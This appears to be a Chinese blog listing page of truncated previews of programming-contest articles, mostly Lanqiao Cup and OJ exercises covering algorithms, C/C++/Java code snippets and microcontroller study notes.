本题要求编写一个解密藏头诗的程序。 输入格式&#xff1a; 输入为一首中文藏头诗&#xff0c;一共四句&#xff0c;每句一行。注意&#xff1a;一个汉字占两个字节。 输出格式&#xff1a; 取出每句的第一个汉字并连接在一起形成一个字符串并输出。同时在末尾输入一个换行…

蓝桥杯C++(B组)备考经验

备考思路&#xff1a; 研究蓝桥杯都考哪些基础算法 找相关算法的学习资料&#xff08;视频/书籍&#xff09;学习基础算法的原理 找相关算法的题目oj进行训练 1、研究都考什么算法 &#xff08;1&#xff09;可以搜索蓝桥杯的历届真题&#xff0c;自己进行归纳总结 &#xff0…

贪心题:股票买卖 II

给定一个长度为 N 的数组&#xff0c;数组中的第 i 个数字表示一个给定股票在第 i 天的价格。设计一个算法来计算你所能获取的最大利润。你可以尽可能地完成更多的交易&#xff08;多次买卖一支股票&#xff09;。注意&#xff1a;你不能同时参与多笔交易&#xff08;你必须在再…

蓝桥杯十四届单片机省赛

人生不在初相逢&#xff0c;洗尽铅华也从容&#xff0c;年少都有凌云志&#xff0c;平凡一生也英雄&#xff01; 【失败的博主】<蓝桥杯最后一文> 感想&#xff1a; 练完省赛题就去练国赛题&#xff01;&#xff01;&#xff01; 十五届蓝桥杯选手参赛准备&#xff1a; 1…

洛谷P8661 [蓝桥杯 2018 省 B] 日志统计 C语言/C++

[蓝桥杯 2018 省 B] 日志统计 题目描述 小明维护着一个程序员论坛。现在他收集了一份“点赞”日志&#xff0c;日志共有 NNN 行。其中每一行的格式是 ts id&#xff0c;表示在 tststs 时刻编号 ididid 的帖子收到一个“赞”。 现在小明想统计有哪些帖子曾经是“热帖”。如果…

OJ系统刷题 第六篇

13301 - 星号等腰三角形&#xff08;重要题型&#xff09; 时间限制 : 1 秒 内存限制 : 128 MB 输入一个正整数n&#xff0c;输出高为n的由*组成的等腰三角形。 输入 输入一个正整数 输出 输出高为n的由*组成的等腰三角形 样例 输入 3 输出 **** ***** 答案&#xff1a; …

《程序设计基础》 第九章 结构 7-8 通讯录排序 (20 分)

输入n个朋友的信息&#xff0c;包括姓名、生日、电话号码&#xff0c;本题要求编写程序&#xff0c;按照年龄从大到小的顺序依次输出通讯录。题目保证所有人的生日均不相同。 输入格式: 输入第一行给出正整数n&#xff08;<10&#xff09;。随后n行&#xff0c;每行按照“…

蓝桥杯三月刷题 第六天

文章目录&#x1f4a5;前言&#x1f609;解题报告&#x1f4a5;星期计算&#x1f914;一、思路:&#x1f60e;二、代码&#xff1a;&#x1f4a5;考勤刷卡&#x1f914;一、思路:&#x1f60e;二、代码&#xff1a;&#x1f4a5;卡片&#x1f914;一、思路:&#x1f60e;二、代…

【Java】『蓝桥杯』10道编程题及答案(四)

系列文章 【Java】『蓝桥杯』10道编程题及答案&#xff08;一&#xff09; 本文链接&#xff1a;https://blog.csdn.net/youcheng_ge/article/details/130223115 【Java】『蓝桥杯』10道编程题及答案&#xff08;二&#xff09; 本文链接&#xff1a;https://blog.csdn.net/y…

团体程序设计天梯赛训练题目集 7-9 连续因子 (20 分) c语言实现

一个正整数 N 的因子中可能存在若干连续的数字。例如 630 可以分解为 3567&#xff0c;其中 5、6、7 就是 3 个连续的数字。给定任一正整数 N&#xff0c;要求编写程序求出最长连续因子的个数&#xff0c;并输出最小的连续因子序列。 输入格式&#xff1a; 输入在一行中给出一…

PAT甲级 1057 Stack

block&#xff0c;计数的时候使用块计算总和&#xff0c;不要单个相加 #include<iostream> #include<vector> #include<stack> #include<string> #include<map> #include<bits/stdc.h>using namespace std; int position[100001]; int pa…

基于STM32G431嵌入式学习笔记——二、LCD模块入门

一、LCD模块相关文件的导入 1.找到官方例程参考程序存放代码的路径 2.将与LCD有关的头文件复制到自己代码路径下的Inc中 而自己的头文件和代码文件位于路径中的Core文件夹中 forts.h为与字体相关的头文件&#xff1b;lcd.h则与LCD屏幕有关 3.将与LCD有关的.c文件复制到自己代…

【蓝桥杯-练习系统】十六进制转八进制

问题描述   给定n个十六进制正整数&#xff0c;输出它们对应的八进制数。输入格式   输入的第一行为一个正整数n &#xff08;1<n<10&#xff09;。接下来n行&#xff0c;每行一个由0~9、大写字母A~F组成的字符串&#xff0c;表示要转换的十六进制正整数&#xff0c;…

蓝桥杯2022试题F 统计子矩阵

时间限制: 1.0s 内存限制: 256.0MB 本题总分&#xff1a;15 分 【问题描述】 给定一个 N M 的矩阵 A&#xff0c;请你统计有多少个子矩阵 (最小 1 1&#xff0c;最大 N M) 满足子矩阵中所有数的和不超过给定的整数 K? 【输入格式】 第一行包含三个整数 N, M 和 K. 之后 N 行…

2013年蓝桥杯试题解析(一)

1.猜年龄 美国数学家维纳(N.Wiener)智力早熟&#xff0c;11岁就上了大学。他曾在1935~1936年应邀来中国清华大学讲学。一次&#xff0c;他参加某个重要会议&#xff0c;年轻的脸孔引人注目。于是有人询问他的年龄&#xff0c;他回答说&#xff1a;“我年龄的立方是个4位数。我年…

西门子smart-PLC的数据块

这个数据块主要是用来赋值的 赋值后在状态图表看到的结果

西门子PLC的符号表

PLC的符号表与单片机的注释类似&#xff0c;只是帮助你理解这个程序用的&#xff0c;写与不写都不会影响到PLC对这段程序的运行。 通过点击这个按钮&#xff0c;选择程序段注释呈现的方式。

顺序栈实现个位数的加减乘除四则运算

//顺序栈的实现个位数的简单四则运算#include<stdio.h> #include<stdlib.h> #include<string.h> #define Max_size 100enum RETURN{EMPTY_OK,EMPTY_NO,PUSH_OK,PUSH_NO,FULL_OK,FULL_NO,POP_NO100,MIN,MAX};typedef struct operand {int data[Max_size];int …

蓝桥杯 -- 跑步锻炼

【问题描述】 小蓝每天都锻炼身体。正常情况下&#xff0c;小蓝每天跑 1 千米。如果某天是周一或者月初&#xff08;1 日&#xff09;&#xff0c;为了激励自己&#xff0c;小蓝要跑 2 千米。如果同时是周一或月初&#xff0c;小蓝也是跑 2 千米。小蓝跑步已经坚持了很长时间&a…

c语言(数组、sizeof关键字、斐波那契数列、冒泡排序、简单选择排序、二维数组)

#include <stdio.h>int main() {//int a[10]{1,2,3,4,5,6,7,8,9,10}; //赋值方法1&#xff0c;&#xff0c;这里赋值可以不用全部列出来系统会把缺少的补为0//int a[10]{0}; //这样赋值数组全为0//int a[]{1,2,5,6,4}; //这样赋值系统会…

2020第十一届蓝桥杯C++B组--成绩统计

题目描述&#xff1a; 小蓝给学生们组织了一场考试&#xff0c;卷面总分为 100 分&#xff0c;每个学生的得分都是一个 0 到 100 的整数。 如果得分至少是 60 分&#xff0c;则称为及格。如果得分至少为 85 分&#xff0c;则称为优秀。 请计算及格率和优秀率&#xff0c;用百分…

蓝桥杯——算法训练——印章

一开始入手&#xff0c;我打算用概率论的知识解决印章问题&#xff0c;但是发现我的公式推导&#xff0c;适应有一定的局限性 package com.study.蓝桥杯.算法训练;/* 问题描述共有n种图案的印章&#xff0c;每种图案的出现概率相同。小A买了m张印章&#xff0c;求小A集齐n种印…

力扣(每日一题)—— 717. 1比特与2比特字符

&#x1f33a;题目描述 717. 1比特与2比特字符 &#x1f33a;解题思路 我们观察第一种字符和第二种字符的区别&#xff0c;发现第一种字符是以0开头&#xff0c;第二种字符是1开头&#xff0c;也就是说若数字开头为1&#xff0c;无论后面一位是0还是1&#xff0c;都是第二种字…

c语言(与或非逻辑、switch case、while、for、contine、break函数、循环嵌套)

#include <stdio.h>int main() {int a;int b;printf("请输入两个数&#xff1a;\n");scanf("%d%d",&a,&b);if(a1 && b1){printf("a与b都是1\n");}if(a1 || b1){printf("a与b其中一个是1\n");if(!a){printf(&quo…

2012年蓝桥杯第3届单片机省赛真题——“售水机”

题目 代码 底层代码是直接运用官方提供的指导书配套的代码。 为了便于修改&#xff0c;此次编程运用了模块化编写。 主函数 void main(void) {banzi_Init();Time0_Init();Timer1Init();while(1){Seg_Work();Key_Work();Led_Work();} } 数码管显示 void Seg_Work(void) {if(…

蓝桥杯刷题-1

文章目录 1.蓝桥杯官网2.蓝桥杯题目进入界面 及 题目详情3.题目解答过程及思路4.运行结果图5.解答代码展示6.ASCII表图例 大家好&#xff0c;我是晓星航。今天为大家带来的是 蓝桥杯刷题 - 1 -单词分析 相关的讲解&#xff01;&#x1f600; 1.蓝桥杯官网 题库 - 蓝桥云课 (l…

2022蓝桥杯JavaB组的个人参赛总结

第一题&#xff1a;日期计算&#xff08;5分&#xff09; 答案&#xff1a;7 题目&#xff1a; 先看一眼&#xff0c;题目不长&#xff0c;再细看一遍&#xff0c;应该不难&#xff0c;暴力枚举应该问题不大。 这题的坑在于20^22的计算&#xff0c;这个是会溢出的。 解决方法…

天梯赛 L1-024 后天 (5 分) 简单好懂

如果今天是星期三&#xff0c;后天就是星期五&#xff1b;如果今天是星期六&#xff0c;后天就是星期一。我们用数字1到7对应星期一到星期日。给定某一天&#xff0c;请你输出那天的“后天”是星期几。 输入格式&#xff1a; 输入第一行给出一个正整数D&#xff08;1 ≤ D ≤…

【蓝桥杯每日一练】数列排序

一、题目描述 给定一个长度为n的数列&#xff0c;将这个数列按从小到大的顺序排列。1<n<200 输入 第一行为一个整数n。 第二行包含n个整数&#xff0c;为待排序的数&#xff0c;每个整数的绝对值小于10000。 输出 输出一行&#xff0c;按从小到大的顺序输出排序后的…

C# 列表

集合类 列表List 列表List的创建和使用 1.创建列表&#xff08;列表可以存储任何类型的数据&#xff0c;在创建列表对象的时候首先要指定你要创建的这个列表要存储声明类型的&#xff09; List<int> scoreList new List<int>(); new List<int>(){123} new…

英语题目翻译——OJ_ 2152:Pots

题目&#xff1a;2152:Pots&#xff08;OpenJudge - 2152:Pots&#xff09; 翻译&#xff1a; 你有两个罐子&#xff0c;体积分别是A升和B升。可以执行以下操作: 1.FILL(i) 从龙头注满壶i(1≤i≤2); 2.DROP(i) 将(i)容器i中的水全部清空&#xff0c;倒入排水口; 3.POUR (i)…

题目 1427: 蓝桥杯2013年第四届真题-买不到的数目

题目描述 小明开了一家糖果店。他别出心裁&#xff1a;把水果糖包成4颗一包和7颗一包的两种。糖果不能拆包卖。 小朋友来买糖的时候&#xff0c;他就用这两种包装来组合。当然有些糖果数目是无法组合出来的&#xff0c;比如要买 10 颗糖。 你可以用计算机测试一下&#xff0…

java中sort方法的自定义比较器写法

文章目录摘要对数组排序对集合进行排序对自定义对象数组排序常用JAVA API和基础算法合集&#xff1a; https://blog.csdn.net/GD_ONE/article/details/104061907 摘要 在做一些算法题时常常会需要对数组、自定义对象、集合进行排序. 在java中对数组排序提供了Arrays.sort()方法…

AcWing周赛48回顾总结

一、4410吃鸡蛋 1、原题链接&#xff1a;4410吃鸡蛋 2、解题思路&#xff1a; 本题比较简单&#xff0c;可以看做是一个数学问题。只要在每次m个天到时&#xff0c;先判断是否在这之前还有鸡蛋&#xff0c;若有&#xff0c;再补充一个鸡蛋&#xff1b;反之&#xff0c;直接退…

【蓝桥杯每日一练】——母牛的故事【递归】

一、题目描述 有一头母牛&#xff0c;它每年年初生一头小母牛。每头小母牛从第四个年头开始&#xff0c;每年年初也生一头小母牛。请编程实现在第n年的时候&#xff0c;共有多少头母牛&#xff1f; 输入 输入数据由多个测试实例组成&#xff0c;每个测试实例占一行&#xff…

JAVA基础语法:java编程规范和常用数据类型

目录 摘要 面向java编程 常用数据类型 数组 定义 初始化 数组的拷贝 String String 的创建&#xff08;注意是大写S&#xff01;&#xff09;&#xff1a; String类型的比较&#xff1a; 1. &#xff0c; ! &#xff1a; 2. str1.equals(String str2); String对象的…

JAVA的一般输入输出 和 快速输入输出 (BufferedReaderBufferedWrite)

JAVA基础知识和常用算法合集&#xff1a; https://blog.csdn.net/GD_ONE/article/details/104061907 目录 1. 主类的命名必须是Main 2.输入输出&#xff1a; 2.1输入&#xff1a; (1)使用Scanner类进行输入 (2) hasNext()方法 2.2 输出 3 快速输入输出 3.1使用Stream…

蓝桥杯 直线问题 详解 c++

基本思路是&#xff0c;平行于坐标轴的线可以不求&#xff0c;直接就能计算出来 然后只求斜方向的直线&#xff0c;而能够唯一表示一条直线的是斜率和截距 所以我们在此用斜率和直线来定义每一条不同的直线&#xff0c;每次有一条新直线&#xff0c;就把记录1 最后得出结果 …

备战蓝桥杯day9__定时器进阶

这个题目是对前面所学知识的小总结&#xff0c;没有什么新的知识点但是多了很多细节。 一&#xff0c;代码部分 #include <reg52.h> #include "intrins.h" void HC138(unsigned char n); sbit S5P3^2; sbit S4P3^3; unsigned char m0; unsigned char s0; uns…

备战蓝桥杯day8__定时器实现秒闪功能

一&#xff0c;什么是定时器 51单片机有两个定时/计数器T0和T1&#xff0c;为16位加法计数器&#xff0c;由低8位TLx和高8位THx两个寄存器组成&#xff0c;最大计数值为65535个计数脉冲。 计数器的脉冲来源有2种&#xff0c;一种是系统时钟输出的12分频&#xff0c;如单片机的…

备战蓝桥杯day7__外部中断系统基本操作

一&#xff0c;51单片机的中断系统 51单片机中有5个中断源这里使用的是外部中断0&#xff1a;INT0。 上面是51单片机的中断系统结构&#xff0c;这决定了你的中断向量&#xff0c;也就是中断初始函数需要如何写&#xff0c;首先图中INT0 代表着外部的输入&#xff0c;我们需要…

备战蓝桥杯day6__矩阵键盘

一&#xff0c;矩阵键盘的扫描思路 要了解矩阵键盘的扫描思路&#xff0c;我们先要清楚单个开关的结构。 如果我们要识别黄色按钮按下的状态&#xff0c;应该怎么做呢&#xff1f; 我们让R1输出低电平&#xff0c;R2&#xff0c;R3&#xff0c;R4输出高电平&#xff0c;然后去…

团体程序设计天梯赛训练题目集 7-8 比较大小 (10 分) c语言实现

本题要求将输入的任意3个整数从小到大输出。 输入格式: 输入在一行中给出3个整数&#xff0c;其间以空格分隔。 输出格式: 在一行中将3个整数从小到大输出&#xff0c;其间以“->”相连。 输入样例: 4 2 8 结尾无空行 输出样例: 2->4->8 结尾无空行 #inclu…

《蓝桥杯每日一题》bfs·AcWing1562. 微博转发

1.题目描述微博被称为中文版的 Twitter。微博上的用户既可能有很多关注者&#xff0c;也可能关注很多其他用户。因此&#xff0c;形成了一种基于这些关注关系的社交网络。当用户在微博上发布帖子时&#xff0c;他/她的所有关注者都可以查看并转发他/她的帖子&#xff0c;然后这…

第十届蓝桥杯(省赛)之三升序列

输入&#xff1a; VLPWJVVNNZSWFGHSFRBCOIJTPYNEURPIGKQGPSXUGNELGRVZAG SDLLOVGRTWEYZKKXNKIRWGZWXWRHKXFASATDWZAPZRNHTNNGQF ZGUGXVQDQAEAHOQEADMWWXFBXECKAVIGPTKTTQFWSWPKRPSMGA BDGMGYHAOPPRRHKYZCMFZEDELCALTBSWNTAODXYVHQNDASUFRL YVYWQZUTEPFSFXLTZBMBQETXGXFUEBHGMJK…

【蓝桥杯集训1】前缀和专题(2 / 5)

目录 前缀和模板 &#xff01;3956. 截断数组 - 前缀和枚举 前缀和模板 活动 - AcWing import java.util.*;class Main {static int N100010;static int[] anew int[N],snew int[N];public static void main(String[] args){Scanner scnew Scanner(System.in);int nsc.nex…

位运算算法

本文目录位运算的技巧1. 二进制数中1的个数2. 是不是2的整数次方3. 找出唯一成对的数位运算的技巧 ^为二进制异或运算符:相同为0&#xff0c;相异为1 1.判断奇偶数&#xff1a;与 1 进行异或操作&#xff0c;为0则为奇数&#xff0c;为1则为偶数 2.交换两个整数变量的值&#…

分治 算法

本文目录1. 超过一半的数2. 超过一半以上的数3. 快速排序4. 乱序数组中查找第k位1. 超过一半的数 问题描述&#xff1a; 数组中有一个数字出现的次数等于数组长度的一半&#xff0c;找出这个数字。 package 分治法;/*** author: DreamCode* file: 超过一半以上的数.java* time…

递归与二分法

本文目录1. 递归基础知识2. a的n次幂3. 小白上楼梯4. 旋转数组的最小数字5. 在有序含空字符串的数组中查找6. 最长连续递增子序列1. 递归基础知识 1. 找重复 1、找到一种划分方法 2、找到递推公式或者等价转换 都是父问题转化为求解子问题 2. 找变化的量 变化的量通常要作为参…

第9届蓝桥杯Java组省赛

A. 第几天 题目描述&#xff1a; 题目描述 2000年的1月1日&#xff0c;是那一年的第1天。 那么&#xff0c;2000年的5月4日&#xff0c;是那一年的第几天&#xff1f; 输出格式 输出一个整数表示答案 思路解析&#xff1a; 2000年为闰年&#xff08;366天&#xff09;&#xf…

Java蓝桥杯基础总结

1. 变量大小与类型 2. 输入输出 scanner.next() 从缓冲区接收字符遇到空格后停止。 相当于 cin 和 scanf scanner.nextLine() 从缓冲区接收字符&#xff0c;并且接收空格&#xff0c;遇到换行才停止&#xff0c;并且会自动舍弃换行。 相当于 gets() scanner.hasNext() 判断缓存…

蓝桥杯基础8:BASIC-7试题 特殊的数字

资源限制 内存限制&#xff1a;512.0MB C/C时间限制&#xff1a;1.0s Java时间限制&#xff1a;3.0s Python时间限制&#xff1a;5.0s 问题描述 153是一个非常特殊的数&#xff0c;它等于它的每位数字的立方和&#xff0c;即1531*1*15*5*53*3*3。编程求所有满足这种条件…

(图解)第十三届蓝桥杯B组省赛 试题 G: 积木画

试题 G: 积木画 【问题描述】 小明最近迷上了积木画&#xff0c;有这么两种类型的积木&#xff0c;分别为 I 型&#xff08;大小为 2 个单位面积&#xff09;和 L 型&#xff08;大小为 3 个单位面积&#xff09;&#xff1a; 同时&#xff0c;小明有一块面积大小为 2 N 的画…

备战蓝桥杯day4__数码管动态显示

一&#xff0c;代码部分 #include <stdio.h> #include <intrins.h> #include <absacc.h> void work(); unsigned char mon0; unsigned char SMG_duanma[]{0xc0,0xf9,0xa4,0xb0,0x99,0x92,0x82,0xf8,0x80,0x90}; void Delay2ms() //12.000MHz {unsigned cha…

备战蓝桥杯day3__数码管静态显示

一&#xff0c;元件介绍 数码管分共阴和共阳&#xff0c;com端用于控制哪个数码管亮&#xff0c;而a&#xff0c;b&#xff0c;c等控制数码管的段码&#xff0c;共阳数码管及段码对应的端口为低电平时&#xff0c;则亮起&#xff0c;共阴与其相反。 二&#xff0c;代码部分 …

备战蓝桥杯day2__蜂鸣器与继电器

一&#xff0c;元件介绍 1&#xff0c;继电器 当继电器中间的线圈导通时&#xff0c;电生磁把K1吸下来&#xff0c;与m2连接&#xff0c;不导通时K1与m1连接&#xff0c;当继电器工作时&#xff0c;继电器旁边的LED会亮起。我们通过控制N BELAY端口来控制继电器是否工作&…

备战蓝桥杯day1__LED跑马灯

51单片机于大多数单片机不同&#xff0c;在点亮LED时不是仅仅输出一个高电平就可以解决&#xff0c;需要经过一个74HC138译码器&#xff0c;一个74HC573锁存器。 一&#xff0c;74HC138译码器 有6个输入端口但是我们只需要关注A&#xff0c;B&#xff0c;C端口&#xff0c;由…

ppt学习日记:L3-形状与图示

目录 一、常见的逻辑图示 1.1 总分关系 1.2 并列关系 1.3 递进关系 例1&#xff1a;阶梯式 例2&#xff1a;时间轴 二、形状的三大作用 2.1 凸显内容 例1&#xff1a;形状对于内容的凸显 例2&#xff1a;形状对于局部的凸显 2.2 规范排版 2.3 修饰画面 三、形状的使…

C语言struct结构体排序

int cmp(dong a,dong b){return a.s<b.s;}//升序 int cmp(dong a,dong b){if(a.xb.x)return a.y<b.y; else return a.x<b.x;}//升序 多维 ll cmp(dong a,dong b) {if(a.xb.x){if(a.yb.y)return a.z<b.z;else return a.y<b.y; } else return a.x<b.x; }//…

pair排序

bool cmp(pll &a,pll &b){return a.first<b.first;} bool cmp(pll &a,pll &b){return a.second<b.second;}

HENAU 冬令营 数学专题

A - A^B Mod C #include<bits/stdc.h> using namespace std;int main() {long long a,b,s1,c;cin>>a>>b>>c;while(b!0){ s%c;if(b&11){ ss*a;}s%c; a%c;a*a;a%c; bb>>1; } cout<<s;} B - 逆元 #include<bits/stdc.h&…

小染的【快速幂】(位运算优化代码)

【小染心得&#xff1a;日常很多代码都尽量用位运算优化试试&#xff0c;可以降低时间复杂度】 该代码是上一篇原始代码的优化&#xff0c;如果不熟悉原理的话可以先在上一篇博客里熟悉一下 #include<bits/stdc.h> using namespace std;int main()//a^b {int a,b,s1;ci…

状态机模型

一系列有序的事件&#xff0c;状态机可以把事件中的各个状态描述清楚 状态机把某一个点扩展成一个过程 例如&#xff1a; 股票&#xff1a;在买入和卖出之间可能有很长时间&#xff0c;在这段时间中可以发生很多买入卖出的操作&#xff0c;将这段时间的操作用状态机表示 个…

李白打酒加强版(dp)

话说大诗人李白&#xff0c;一生好饮。幸好他从不开车。一天&#xff0c;他提着酒壶&#xff0c;从家里出来&#xff0c;酒壶中有酒 2斗。他边走边唱&#xff1a; 无事街上走&#xff0c;提壶去打酒。 逢店加一倍&#xff0c;遇花喝一斗。 这一路上&#xff0c;他一共遇到店…

贪心算法的应用

1. 部分背包问题 有n个物体&#xff0c;第i个物体的重量为wi&#xff0c;价值为vi。在总重量不超过C的情况下让总价值尽量高。 每一个物体都可以只取走一部分&#xff0c;价值和重量按比例计算。 求最大总价值 注意&#xff1a;每个物体可以只拿一部分&#xff0c;因此一定…

冲击蓝桥杯-时间问题(必考)

目录 前言&#xff1a; 一、时间问题 二、使用步骤 1、考察小时&#xff0c;分以及秒的使用、 2、判断日期是否合法 3、遍历日期 4、推算星期几 总结 前言&#xff1a; 时间问题可以说是蓝桥杯&#xff0c;最喜欢考的问题了,因为时间问题不涉及到算法和一些复杂的知识&#xf…

蓝桥杯每日一练——疯狂的采药(完全背包)

题目链接 疯狂的采药 - 洛谷https://www.luogu.com.cn/problem/P1616 题目描述 LiYuxiang 是个天资聪颖的孩子&#xff0c;他的梦想是成为世界上最伟大的医师。为此&#xff0c;他想拜附近最有威望的医师为师。医师为了判断他的资质&#xff0c;给他出了一个难题。医师把他带…

【从0到1冲刺蓝桥杯国赛】每日一题——最佳买卖股票时期含冷冻期

最佳买卖股票时期含冷冻期https://leetcode-cn.com/problems/best-time-to-buy-and-sell-stock-with-cooldown/ 题目描述&#xff1a; C实现&#xff1a; class Solution { public:int maxProfit(vector<int>& prices) {if (prices.empty()) {return 0;}int n pric…

【从0到1冲刺蓝桥杯国赛】每日一练——完全平方数

完全平方数https://leetcode-cn.com/problems/perfect-squares/ 题目描述&#xff1a; 思路分析&#xff1a;四平方和定理 class Solution { public:// 判断是否为完全平方数bool isPerfectSquare(int x) {int y sqrt(x);return y * y x;}// 判断是否能表示为 4^k*(8m7)bool…

【从0到1冲刺蓝桥杯国赛】每日一练——打家劫舍Ⅱ

打家劫舍Ⅱhttps://leetcode-cn.com/problems/house-robber-ii/ 题目描述&#xff1a; 思路分析&#xff1a; 与打家劫舍相同&#xff0c;只不过分析两段范围&#xff0c;取max。 C实现&#xff1a; class Solution { public:int robRange(vector<int>& nums,…

【从0到1冲刺蓝桥杯国赛】每日一练——乘积最大子数组

成绩最大子数组https://leetcode-cn.com/problems/maximum-product-subarray/ 题目描述&#xff1a; 给你一个整数数组 nums &#xff0c;请你找出数组中乘积最大的非空连续子数组&#xff08;该子数组中至少包含一个数字&#xff09;&#xff0c;并返回该子数组所对应的乘积…

【从0到1冲刺蓝桥杯国赛】每日一题——买卖股票的最佳时机

买卖股票的最佳时机https://leetcode-cn.com/problems/best-time-to-buy-and-sell-stock-ii/ 题目描述&#xff1a; 思路分析&#xff1a; 这道题其实非常简单&#xff0c;尽管它是股票买卖第一题的变形&#xff08;专栏里的前一题&#xff09;&#xff0c;其实想要获得最大…

【从0到1冲刺蓝桥杯国赛】每日一题——不同的二叉搜索树(卡塔兰数)

不同的二叉搜索数https://leetcode-cn.com/problems/unique-binary-search-trees/ 题目描述&#xff1a; 给你一个整数 n &#xff0c;求恰由 n 个节点组成且节点值从 1 到 n 互不相同的 二叉搜索树 有多少种&#xff1f;返回满足题意的二叉搜索树的种数。 思路&#xff1a;…

【从0到1冲刺蓝桥杯】每日一题——解码方法(动态规划)

解码方法https://leetcode-cn.com/problems/decode-ways/ 题目描述&#xff1a; 解题思路&#xff1a; 动态规划 class Solution { public:int numDecodings(string s) {int n s.size();vector<int> f(n 1);f[0] 1;for (int i 1; i < n; i) {if (s[i - 1] ! 0) …

【从0到1冲刺蓝桥杯国赛】每日一练——括号生成

括号生成https://leetcode-cn.com/problems/generate-parentheses/ 题目描述&#xff1a; 思路分析&#xff1a; 这道题最好的做法是DFS&#xff0c;这里我直接讲DFS的做法。 首先我们需要知道一个结论&#xff0c;一个合法的括号序列需要满足两个条件&#xff1a; 左右括号…

蓝桥杯每日一练——二叉树的最小深度

二叉树的最小深度https://leetcode-cn.com/problems/minimum-depth-of-binary-tree/ 题目描述&#xff1a; 给定一个二叉树&#xff0c;找出其最小深度。 最小深度是从根节点到最近叶子节点的最短路径上的节点数量。 class Solution { public:int minDepth(TreeNode *root) …

试题 算法训练 同余方程(python)

试题 算法训练 同余方程 提交此题 评测记录 资源限制 内存限制&#xff1a;128.0MB C/C时间限制&#xff1a;1.0s Java时间限制&#xff1a;3.0s Python时间限制&#xff1a;5.0s 问题描述 求关于x的同余方程ax ≡ 1 (mod b)的最小正整数解。 输入格式 输入只有…

2022年蓝桥杯:第十三届蓝桥杯大赛软件赛省赛C/C++大学B组真题(考后回顾,文末附真题链接)

目录 第十三届蓝桥杯大赛软件赛省赛C/C大学B组真题&#xff08;考后回顾&#xff09;试题 A: 九进制转十进制试题 B: 顺子日期试题 C: 刷题统计试题 D: 修剪灌木试题 E: X 进制减法试题 F: 统计子矩阵试题 G: 积木画试题 H: 扫雷试题 I: 李白打酒加强版试题 J: 砍竹子 第十三届…

【C语言蓝桥杯每日一题】—— 数列求值

【C语言蓝桥杯每日一题】—— 数列求值&#x1f60e;前言&#x1f64c;数列求值&#x1f64c;解题思路分析&#xff1a;&#x1f60d;非递归版解题代码&#xff1a;&#x1f60d;递归版解题代码&#xff1a;&#x1f60d;总结撒花&#x1f49e;数列求值&#x1f60e;)&#x1f…

蓝桥杯--算法训练台阶问题

资源限制 时间限制&#xff1a;1.0s 内存限制&#xff1a;256.0MB 问题描述 楼梯有N&#xff08;N<25&#xff09;级台阶&#xff0c;上楼时一步可以走一级台阶&#xff0c;也可以走二级或三级台阶。请编写一个递归程序&#xff0c;计算共有多少种不同的走法&#xff1f…

蓝桥杯真题3

[蓝桥杯 2015 省 B] 移动距离 题目描述 X 星球居民小区的楼房全是一样的&#xff0c;并且按矩阵样式排列。其楼房的编号为 $1,2,3, \cdots $ 。 当排满一行时&#xff0c;从下一行相邻的楼往反方向排号。 比如&#xff1a;当小区排号宽度为 666 时&#xff0c;开始情形如下…

蓝桥杯刷题总结(省)

文章目录1. 正确率优先2. 高精度模板3. 前缀和模板 —— 保证不要出现数据04. 状态转移模板5. 哈希模板6. sqrt()函数 —— 大数 long double 转换7. 直线斜率与截距 —— 利用 a b 关系直接求8. 最短路径模板9. 闰年年月判定模板10. 并查集模板11. 二分模板12. 进制转换细节 —…

《程序设计基础》 第十一章 指针进阶 6-3 字符串的连接 (15 分)

本题要求实现一个函数&#xff0c;将两个字符串连接起来。 函数接口定义&#xff1a; char *str_cat( char *s, char *t ); 函数str_cat应将字符串t复制到字符串s的末端&#xff0c;并且返回字符串s的首地址。 裁判测试程序样例&#xff1a; #include <stdio.h> #in…

《程序设计基础》 第十章 函数与程序结构 6-4 递归求Fabonacci数列 (10 分)

本题要求实现求Fabonacci数列项的函数。Fabonacci数列的定义如下&#xff1a; f(n)f(n−2)f(n−1) (n≥2)&#xff0c;其中f(0)0&#xff0c;f(1)1。 函数接口定义&#xff1a; int f( int n ); 函数f应返回第n个Fabonacci数。题目保证输入输出在长整型范围内。建议用递归实…

子串分值和

对于一个字符串 S&#xff0c;我们定义 S 的分值 f(S) 为 S 中出现的不同的字符个数。 例如 f(“aba”)2&#xff0c;f(“abc”)3,f(“aaa”)1 。 现在给定一个字符串 S[0..n−1] &#xff08;长度为 n&#xff09;&#xff0c;请你计算对于所有 S 的非空子串 S[i..j](0≤…

常用算法模板总结1

朴素版Dijkstra算法 核心思路&#xff1a; 1.循环n次&#xff0c;每次找到到起点距离最小且不在已确定集合中的的点 2.将找到的点放入集合中 3.用找到的点来更新其他所有未在集合之中的点 代码&#xff1a; #include <iostream> #include <cstring> #includ…

同余 因式分解

阶乘​​​​​ NN 的阶乘&#xff08;记作 N!N!&#xff09;是指从 11 到 NN&#xff08;包括 11 和 NN&#xff09;的所有整数的乘积。 阶乘运算的结果往往都非常的大。 现在&#xff0c;给定数字 NN&#xff0c;请你求出 N!N! 的最右边的非零数字是多少。 例如 5!123451…

二 分

整数二分 分巧克力 题目 提交记录 讨论 题解 视频讲解儿童节那天有 KK 位小朋友到小明家做客。 小明拿出了珍藏的巧克力招待小朋友们。 小明一共有 NN 块巧克力&#xff0c;其中第 ii 块是 HiWiHiWi 的方格组成的长方形。 为了公平起见&#xff0c;小明需要从这 NN…

哈夫曼编码原理

一、应用背景 给定一段文字&#xff0c;如果我们统计出字母出现的频率&#xff0c;是可以根据哈夫曼算法给出一套编码&#xff0c;使得用此编码压缩原文可以得到最短的编码总长。然而哈夫曼编码并不是唯一的。例如对字符串"aaaxuaxz"&#xff0c;容易得到字母 a、x、…

蓝桥杯——基础练习——圆的面积

package com.study.蓝桥杯.基础练习;/* 问题描述 给定圆的半径r&#xff0c;求圆的面积。 输入格式 输入包含一个整数r&#xff0c;表示圆的半径。 输出格式 输出一行&#xff0c;包含一个实数&#xff0c;四舍五入保留小数点后7位&#xff0c;表示圆的面积。*/import java.uti…

蓝桥杯2013年第四届真题-带分数

蓝桥杯2013年第四届真题-带分数 题目链接 100 可以表示为带分数的形式&#xff1a;100 3 69258 / 714。 还可以表示为&#xff1a;100 82 3546 / 197。 注意特征&#xff1a;带分数中&#xff0c;数字1~9分别出现且只出现一次&#xff08;不包含0&#xff09;。 类似这样…

编绘童年bhtn.vip

#include<bits/stdc.h> using namespace std; int main(){cout<<1*2*3*4*5*6*7*8*9*10;return 0; }/**************************************************************Problem: 1026User: Language: CResult: 正确Time:0 msMemory:2024 kb ***********************…

14:求10000以内n的阶乘(http://noi.openjudge.cn/ch0106/14/)

